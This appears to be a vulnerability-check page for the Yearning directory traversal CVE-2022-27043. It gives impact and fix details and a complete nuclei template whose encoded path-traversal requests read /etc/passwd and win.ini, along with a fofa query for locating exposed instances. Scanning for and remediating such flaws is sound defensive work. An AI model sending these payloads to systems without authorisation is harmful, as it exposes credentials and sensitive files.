Yearning - Directory Traversal

highseverity

7.5CVSS score

6.1%likelihood of exploitation, next 30 days

94%of all CVEs are less likely

Readycheck to confirm it

Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.

Impact

Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Yearning database management system, potentially accessing sensitive configuration files, credentials, and SQL audit logs.

Fix

Update Yearning to a patched version that properly validates file paths and prevents directory traversal attacks through the front endpoint.

How to confirm it

Send: GET {{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd ; GET {{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini
Positive when: regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support') and contains(content_type, 'text/plain') and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-27043 -u <target>

The full check

id: CVE-2022-27043

info:
  name: Yearning - Directory Traversal
  author: Co5mos
  severity: high
  description: |
    Yearning has a directory traversal vulnerability that can be exploited by attackers to obtain sensitive information. The vulnerability is present in multiple versions of Yearning.
  impact: |
    Unauthenticated attackers can exploit directory traversal to read arbitrary files from the Yearning database management system, potentially accessing sensitive configuration files, credentials, and SQL audit logs.
  remediation: |
    Update Yearning to a patched version that properly validates file paths and prevents directory traversal attacks through the front endpoint.
  reference:
    - https://github.com/jimdx/YEARNING-CVE-2022-27043/blob/main/README.md
    - http://yearning.io/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-27043
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2022-27043
    cwe-id: CWE-22
    epss-score: 0.0614
    epss-percentile: 0.93514
    cpe: cpe:2.3:a:yearning:yearning:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: yearning
    product: yearning
    fofa-query: app="Yearning"
  tags: cve,cve2022,yearning,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd"
      - "{{BaseURL}}/front//%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/windows/win.ini"

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body) || contains_all(body, '[fonts]', 'for 16-bit app support')"
          - "contains(content_type, 'text/plain')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from